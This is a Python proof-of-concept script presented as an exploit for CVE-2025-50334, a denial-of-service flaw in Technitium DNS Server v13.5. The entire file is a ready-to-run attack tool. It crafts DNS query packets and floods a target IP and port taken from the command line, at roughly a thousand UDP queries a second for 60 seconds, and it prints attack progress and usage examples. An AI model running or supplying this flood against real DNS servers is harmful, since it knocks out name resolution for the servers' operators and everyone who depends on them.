import socket
import time
import random
# CVE-2025-50334 PoC - Technitium DNS Server DoS via rate-limiting
# Target: Technitium DNS Server v13.5
# Attack: Send crafted DNS queries to trigger rate-limiting DoS
def create_dns_query(domain, qtype='A'):
"""Create a DNS query packet"""
transaction_id = random.randint(0, 65535)
# DNS Header
header = bytes([
(transaction_id >> 8) & 0xFF, transaction_id & 0xFF, # Transaction ID
0x01, 0x00, # Flags: Standard query
0x00, 0x01, # Questions: 1
0x00, 0x00, # Answer RRs: 0
0x00, 0x00, # Authority RRs: 0
0x00, 0x00 # Additional RRs: 0
])
# Encode domain name
labels = domain.split('.')
qname = b''
for label in labels:
qname += bytes([len(label)]) + label.encode()
qname += b'\x00'
# Query type and class
qtype_map = {'A': 1, 'AAAA': 28, 'TXT': 16, 'MX': 15}
qtype_bytes = bytes([0x00, qtype_map.get(qtype, 1)])
qclass = bytes([0x00, 0x01]) # IN class
return header + qname + qtype_bytes + qclass
def exploit_cve_2025_50334(target_ip, target_port=53, duration=60):
"""
Exploit CVE-2025-50334 by sending rapid DNS queries
to trigger rate-limiting component failure
"""
print(f"[*] Starting DoS attack on {target_ip}:{target_port}")
print(f"[*] Target: Technitium DNS Server v13.5")
print(f"[*] CVE: CVE-2025-50334")
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.settimeout(1)
domains = [
'target1.example.com',
'target2.example.com',
'test.example.com',
'attacker.example.com',
'dns.example.com'
]
start_time = time.time()
request_count = 0
try:
while time.time() - start_time < duration:
for domain in domains:
query = create_dns_query(domain, random.choice(['A', 'AAAA', 'TXT']))
try:
sock.sendto(query, (target_ip, target_port))
request_count += 1
if request_count % 100 == 0:
print(f"[*] Sent {request_count} requests...")
except Exception as e:
print(f"[!] Error: {e}")
# Send rapid requests to trigger rate-limiting
time.sleep(0.001)
except KeyboardInterrupt:
print("\n[!] Attack interrupted by user")
finally:
sock.close()
print(f"\n[*] Attack completed. Total requests sent: {request_count}")
print(f"[*] Duration: {time.time() - start_time:.2f} seconds")
if __name__ == '__main__':
import sys
if len(sys.argv) < 2:
print("Usage: python cve-2025-50334.py <target_ip> [port]")
print("Example: python cve-2025-50334.py 192.168.1.100 53")
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2]) if len(sys.argv) > 2 else 53
exploit_cve_2025_50334(target, port, duration=60)